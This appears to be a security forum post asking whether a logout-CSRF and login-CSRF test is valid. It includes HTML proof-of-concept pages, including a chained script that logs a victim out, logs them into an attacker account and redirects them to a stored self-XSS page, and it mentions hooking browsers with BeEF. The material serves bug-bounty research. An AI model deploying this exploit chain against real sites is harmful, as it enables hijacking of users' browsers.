SCENARIO:
web application which I think is affected by:
- a self-xss in the profile section of a user.
- logout CSRF
- login CSRF
Below I described the test I did to check for the last 2 vulnerabilities, I'd appreciate an opinion about their correctness.
TEST:
Logout CSRF:
in one tab I'm an authenticated user
on another tab where in the same browser where the user is authenticated I browse to this page.
<html> <body> <!-- logout the victim --> <a href="https://vuln/logout.aspx" target="_self">click</a> </body> </html>If I go back to the first tab my session is ended --> here I'm quite sure this test is enough to proof logout csrf.
login CSRF:
The web server is IIS and then it uses __VIEWSTATE and __EVENTVALIDATION. The test is the following:
I create and host a page like this. NOTE: I substituted the real value with XXX but in my test I used current value retrieved from the application
<!-- login the victim into the attacker profile --> <form name=myform action="https://vuln/Login.aspx" method="POST"> <input type="hidden" name="user" value="hacker" /> <input type="hidden" name="passw" value="hacker" /> <input type="hidden" name="LoginBtn" value="..." /> <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="XXX" /> <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/XXX"/> <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/XXX/" /> </form>I simulate a user that browses to that page.
The user is logged as the attacker.
Does this mean that login CSRF is happening? Should __VIEWSTATE and __EVENTVALIDATION prevent this?
EDIT (01-20-2021)
Reading the comments I decided to edit this post to add some notes to understand the final attack I wanted to deliver. I already know that taken alone: self-xss, logout csrf, login csrf are not considered to be vulnerabilities most of the times, although owasp suggests how to mitigate login csrf for example. Anyway my goal was to escalate from self-xss to xss as illustrated elsewhere: brutelogic or by Ch3ckM4te which reflects mine scenario but exploiting Oauth.
The steps were the following:
1- Send a link to the victim and wait for him to open it
2- Logout the victim (if he was authenticated)
3- Login the victim with the attacker's account credentials
4- Redirect the victim (now authenticated with the attacker's account) to the page where self-xss is stored.
5- Now the arbitrary javascript chosen by the attacker is executed in the victim's browser
Somebody pointed out in the comment that because I can't steal the session token or perform some action in the name of the victim then this chain of vulnerabilites is not dangerous.
The fact that I can execute arbitrary javascript in the context of the victim's browser in my opinion should be enough to consider this a proper attack. Just to do an example you could run:
- BeeF hook.js and then have a lot of options.
What is BeEF? BeEF which stands for Browser Exploitation Framework is a tool that can hook one or more browsers and can use them as a beachhead of launching various direct commands and further attacks against the system from within the browser context
To have an idea, when you hook a browser this is the Beef's commands panel
POC
<html>
<body>
<!-- logout the victim from he web application -->
<a href="https://vuln.com/logout.aspx" target="_self" onclick=xss_login()>click</a>
<!-- login the victim into the attacker profile -->
<form name=myform action="https://vuln.com/Login.aspx" method="POST">
<input type="hidden" name="user" value="hacker" />
<input type="hidden" name="passw" value="hacker" />
<input type="hidden" name="LoginBtn" value="Loadin" />
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="XXX" />
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="XXX"/>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="XXX" />
</form>
<script>
//redirect the victim to the page where Self-XSS is stored and execute the payload in the user's browser context
function xss_redirect()
{
setTimeout(function(){
location.href="https://vuln.com/atk/item=xss";
} , 400);
}
function xss_login()
{
setTimeout(function(){
document.myform.submit();
xss_redirect();
}, 200);
}
</script>
</body>
</html>
EXAMPLE OF 300$ BOUNTY
